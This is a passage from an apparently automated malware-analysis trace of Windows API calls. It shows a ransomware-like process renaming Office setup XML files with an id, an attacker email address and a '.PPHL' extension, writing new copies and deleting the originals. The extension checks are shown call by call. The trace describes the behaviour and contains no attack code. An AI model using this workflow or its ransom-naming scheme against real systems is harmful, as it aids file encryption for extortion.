lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0071.480] WriteFile (in: hFile=0x1f4, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0071.480] SetEndOfFile (hFile=0x1f4) returned 1 [0071.480] CloseHandle (hObject=0x1f4) returned 1 [0071.482] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.482] SetEndOfFile (hFile=0x1f8) returned 1 [0071.483] CloseHandle (hObject=0x1f8) returned 1 [0071.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0071.484] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 1 [0071.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0071.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0071.485] lstrlenW (lpString=".doc") returned 4 [0071.485] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0071.485] lstrlenW (lpString=".docx") returned 5 [0071.485] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0071.485] lstrlenW (lpString=".pdf") returned 4 [0071.485] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0071.485] lstrlenW (lpString=".xls") returned 4 [0071.485] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0071.485] lstrlenW (lpString=".xlsx") returned 5 [0071.485] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0071.485] lstrlenW (lpString=".ppt") returned 4 [0071.485] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0071.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0071.485] lstrlenW (lpString=".zip") returned 4 [0071.485] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0071.485] lstrlenW (lpString=".rar") returned 4 [0071.485] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0071.485] lstrlenW (lpString=".bz2") returned 4 [0071.485] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0071.486] lstrlenW (lpString=".7z") returned 3 [0071.486] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0071.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0071.486] lstrlenW (lpString=".dbf") returned 4 [0071.486] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0071.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0071.486] lstrlenW (lpString=".1cd") returned 4 [0071.486] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0071.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0071.486] lstrlenW (lpString=".jpg") returned 4 [0071.486] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0071.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0071.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0071.486] lstrlenW (lpString=".doc") returned 4 [0071.486] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0071.486] lstrlenW (lpString=".docx") returned 5 [0071.486] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0071.486] lstrlenW (lpString=".pdf") returned 4 [0071.486] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0071.486] lstrlenW (lpString=".xls") returned 4 [0071.486] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0071.486] lstrlenW (lpString=".xlsx") returned 5 [0071.486] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0071.486] lstrlenW (lpString=".ppt") returned 4 [0071.486] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0071.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0071.486] lstrlenW (lpString=".zip") returned 4 [0071.487] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0071.487] lstrlenW (lpString=".rar") returned 4 [0071.487] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0071.487] lstrlenW (lpString=".bz2") returned 4 [0071.487] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0071.487] lstrlenW (lpString=".7z") returned 3 [0071.487] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0071.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0071.487] lstrlenW (lpString=".dbf") returned 4 [0071.487] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0071.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0071.487] lstrlenW (lpString=".1cd") returned 4 [0071.487] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0071.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0071.487] lstrlenW (lpString=".jpg") returned 4 [0071.487] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0071.487] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0071.487] lstrlenW (lpString="PowerPointMUI.XML") returned 17 [0071.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0071.488] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=1450) returned 1 [0071.488] CloseHandle (hObject=0x1f8) returned 1 [0071.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 0x20 [0071.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0071.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0071.488] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.488] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0071.502] GetLastError () returned 0x0 [0071.502] ReadFile (in: hFile=0x1f8, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0071.506] WriteFile (in: hFile=0x1f4, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0071.508] ReadFile (in: hFile=0x1f8, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0071.508] WriteFile (in: hFile=0x1f4, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0071.508] SetEndOfFile (hFile=0x1f4) returned 1 [0071.508] CloseHandle (hObject=0x1f4) returned 1 [0071.509] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.509] SetEndOfFile (hFile=0x1f8) returned 1 [0071.510] CloseHandle (hObject=0x1f8) returned 1 [0071.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0071.511] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 1 [0071.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0071.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0071.511] lstrlenW (lpString=".doc") returned 4 [0071.511] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0071.511] lstrlenW (lpString=".docx") returned 5 [0071.511] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0071.511] lstrlenW (lpString=".pdf") returned 4 [0071.511] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0071.511] lstrlenW (lpString=".xls") returned 4 [0071.511] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0071.511] lstrlenW (lpString=".xlsx") returned 5 [0071.511] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0071.511] lstrlenW (lpString=".ppt") returned 4 [0071.511] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0071.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0071.512] lstrlenW (lpString=".zip") returned 4 [0071.512] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0071.512] lstrlenW (lpString=".rar") returned 4 [0071.512] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0071.512] lstrlenW (lpString=".bz2") returned 4 [0071.512] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0071.512] lstrlenW (lpString=".7z") returned 3 [0071.512] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0071.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0071.512] lstrlenW (lpString=".dbf") returned 4 [0071.512] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0071.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0071.512] lstrlenW (lpString=".1cd") returned 4 [0071.512] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0071.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0071.512] lstrlenW (lpString=".jpg") returned 4 [0071.512] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0071.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0071.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0071.512] lstrlenW (lpString=".doc") returned 4 [0071.512] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0071.512] lstrlenW (lpString=".docx") returned 5 [0071.512] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0071.512] lstrlenW (lpString=".pdf") returned 4 [0071.512] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0071.513] lstrlenW (lpString=".xls") returned 4 [0071.513] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0071.513] lstrlenW (lpString=".xlsx") returned 5 [0071.513] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0071.513] lstrlenW (lpString=".ppt") returned 4 [0071.513] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0071.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0071.513] lstrlenW (lpString=".zip") returned 4 [0071.513] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0071.513] lstrlenW (lpString=".rar") returned 4 [0071.513] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0071.513] lstrlenW (lpString=".bz2") returned 4 [0071.513] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0071.513] lstrlenW (lpString=".7z") returned 3 [0071.513] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0071.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0071.513] lstrlenW (lpString=".dbf") returned 4 [0071.513] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0071.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0071.513] lstrlenW (lpString=".1cd") returned 4 [0071.513] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0071.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0071.513] lstrlenW (lpString=".jpg") returned 4 [0071.513] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0071.514] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0071.514] lstrlenW (lpString="SETUP.XML") returned 9 [0071.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0071.977] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=1886) returned 1 [0071.977] CloseHandle (hObject=0x210) returned 1 [0071.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 0x20 [0071.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0071.977] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0071.978] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.978] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.978] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0071.978] GetLastError () returned 0x0 [0071.978] ReadFile (in: hFile=0x210, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x75e, lpOverlapped=0x0) returned 1 [0072.527] WriteFile (in: hFile=0x1fc, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x760, lpOverlapped=0x0) returned 1 [0072.528] ReadFile (in: hFile=0x210, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0072.528] WriteFile (in: hFile=0x1fc, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0072.528] SetEndOfFile (hFile=0x1fc) returned 1 [0072.528] CloseHandle (hObject=0x1fc) returned 1 [0072.528] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.528] SetEndOfFile (hFile=0x210) returned 1 [0072.529] CloseHandle (hObject=0x210) returned 1 [0072.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0072.529] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 1 [0072.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0072.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0072.530] lstrlenW (lpString=".doc") returned 4 [0072.530] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0072.530] lstrlenW (lpString=".docx") returned 5 [0072.530] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0072.530] lstrlenW (lpString=".pdf") returned 4 [0072.530] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0072.530] lstrlenW (lpString=".xls") returned 4 [0072.530] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0072.530] lstrlenW (lpString=".xlsx") returned 5 [0072.530] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0072.530] lstrlenW (lpString=".ppt") returned 4 [0072.530] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0072.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0072.530] lstrlenW (lpString=".zip") returned 4 [0072.530] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0072.530] lstrlenW (lpString=".rar") returned 4 [0072.530] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0072.530] lstrlenW (lpString=".bz2") returned 4 [0072.530] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0072.530] lstrlenW (lpString=".7z") returned 3 [0072.530] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0072.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0072.530] lstrlenW (lpString=".dbf") returned 4 [0072.530] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0072.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0072.530] lstrlenW (lpString=".1cd") returned 4 [0072.530] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0072.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0072.530] lstrlenW (lpString=".jpg") returned 4 [0072.530] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0072.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0072.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0072.530] lstrlenW (lpString=".doc") returned 4 [0072.530] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0072.530] lstrlenW (lpString=".docx") returned 5 [0072.531] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0072.531] lstrlenW (lpString=".pdf") returned 4 [0072.531] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0072.531] lstrlenW (lpString=".xls") returned 4 [0072.531] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0072.531] lstrlenW (lpString=".xlsx") returned 5 [0072.531] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0072.531] lstrlenW (lpString=".ppt") returned 4 [0072.531] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0072.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0072.531] lstrlenW (lpString=".zip") returned 4 [0072.531] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0072.531] lstrlenW (lpString=".rar") returned 4 [0072.531] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0072.531] lstrlenW (lpString=".bz2") returned 4 [0072.531] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0072.531] lstrlenW (lpString=".7z") returned 3 [0072.531] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0072.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0072.531] lstrlenW (lpString=".dbf") returned 4 [0072.531] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0072.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0072.531] lstrlenW (lpString=".1cd") returned 4 [0072.531] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0072.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0072.531] lstrlenW (lpString=".jpg") returned 4 [0072.531] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0072.531] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0072.531] lstrlenW (lpString="SETUP.XML") returned 9 [0072.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0073.101] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=1872) returned 1 [0073.101] CloseHandle (hObject=0x20c) returned 1 [0073.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 0x20 [0073.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0073.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup 